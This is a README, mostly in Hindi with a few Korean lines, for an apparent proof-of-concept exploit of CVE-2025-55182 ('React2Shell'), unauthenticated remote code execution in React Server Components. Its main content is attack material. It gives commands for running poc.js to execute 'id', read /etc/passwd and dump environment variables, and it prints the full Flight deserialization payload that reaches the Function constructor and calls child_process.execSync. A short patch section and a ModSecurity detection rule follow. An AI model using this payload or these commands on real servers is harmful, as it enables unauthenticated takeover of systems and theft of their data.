
CVE-2025-55182 (React2Shell) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो फ्लाइट प्रोटोकॉल डिसेरियलाइज़ेशन के माध्यम से रिएक्ट सर्वर कम्पोनेंट्स में बिना प्रमाणीकरण के रिमोट कोड निष्पादन का प्रदर्शन करता है। इसमें असुरक्षित सर्वर सेटअप और डिटेक्शन स्क्रिप्ट शामिल हैं।
| आइटम | विवरण |
|---|
| CVE ID | CVE-2025-55182 |
| उपनाम | React2Shell |
| CVSS स्कोर | 10.0 (Critical - अधिकतम गंभीरता) |
| भेद्यता प्रकार | Unauthenticated Remote Code Execution (RCE) |
| खोजकर्ता | Lachlan Davidson |
| प्रकाशन तिथि | 3 दिसंबर 2025 |
react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0CVE-2025-55182/
├── README.md # यह फ़ाइल
├── vulnerable-server/ # भेद्य Next.js सर्वर
│ ├── package.json
│ ├── next.config.js
│ ├── tsconfig.json
│ └── app/
│ ├── layout.tsx
│ ├── page.tsx
│ └── actions.ts # Server Action
├── exploit/ # हमला PoC
│ ├── package.json
│ ├── poc.js # RCE हमला स्क्रिप्ट
│ └── check-vulnerability.js # भेद्यता जाँच स्क्रिप्ट
└── React2Shell-CVE-2025-55182-original-poc/ # मूल PoC संदर्भ
# निर्भरताएं स्थापित करें
cd vulnerable-server
npm install
# डेवलपमेंट मोड में सर्वर चलाएं (पोर्ट 3000)
npm run dev
सर्वर http://localhost:3000 पर चलेगा।
नए टर्मिनल में:
# निर्भरताएं स्थापित करें
cd exploit
npm install
# भेद्यता जांचें
npm run check
# PoC चलाएं (परीक्षण मोड)
npm run exploit
node poc.js -m test
# macOS
node poc.js -m calc
# Linux
node poc.js -m calc -c linux
# Windows
node poc.js -m calc -c windows
# id कमांड चलाएं
node poc.js -t http://localhost:3000 -m rce -c "id"
# फ़ाइल पढ़ें
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"
# सिस्टम जानकारी
node poc.js -t http://localhost:3000 -m rce -c "uname -a"
node poc.js -t http://localhost:3000 -m env
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"
React Server Components के Flight प्रोटोकॉल में क्लाइंट द्वारा भेजे गए डेटा को डिसीरियलाइज़ करते समय होता है।
requireModule 함수가 클라이언트가 전송한 속성명을 검증 없이 신뢰
→ moduleExports[metadata[NAME]] 실행 시 hasOwnProperty 검사 없음
→ 프로토타입 체인 조작 가능 (Server-Side Prototype Pollution)
→ Function 생성자 획득 → RCE
$@x डिसीरियलाइज़ेशन ट्रिगर - Chunk ऑब्जेक्ट संदर्भ प्राप्त करें.then विधि वाला thenable ऑब्जेक्ट इंजेक्ट करेंstatus: resolved_model सेट करें_response, _formData आदि का उपयोग करें$1:constructor:constructornew Function(악성코드) चलाएं{
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': 'process.mainModule.require("child_process").execSync("id")//',
'_formData': {
'get': '$3:constructor:constructor'
},
'_chunks': '$2:_response:_chunks'
}
}
# 15.0.x उपयोगकर्ता
npm install [email protected]
# 15.1.x उपयोगकर्ता
npm install [email protected]
# 15.2.x उपयोगकर्ता
npm install [email protected]
npm install [email protected]
npm install [email protected]
npm install [email protected]
POST अनुरोधNext-Action हेडर मौजूदmultipart/form-data प्रारूप$@, resolved_model, constructor जैसे पैटर्न# संदिग्ध Flight पेलोड का पता लगाना
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
"id:1001,phase:2,deny,status:403,\
chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
"t:lowercase"
यह परियोजना केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान की गई है। दुर्भावनापूर्ण उद्देश्यों के लिए इसका उपयोग निषिद्ध है।
सावधानी: यदि आप वास्तविक वातावरण में यह भेद्यता पाते हैं तो तुरंत पैच करें। यदि हमले की पुष्टि होती है तो सुरक्षा टीम को रिपोर्ट करें और उल्लंघन जांच करें।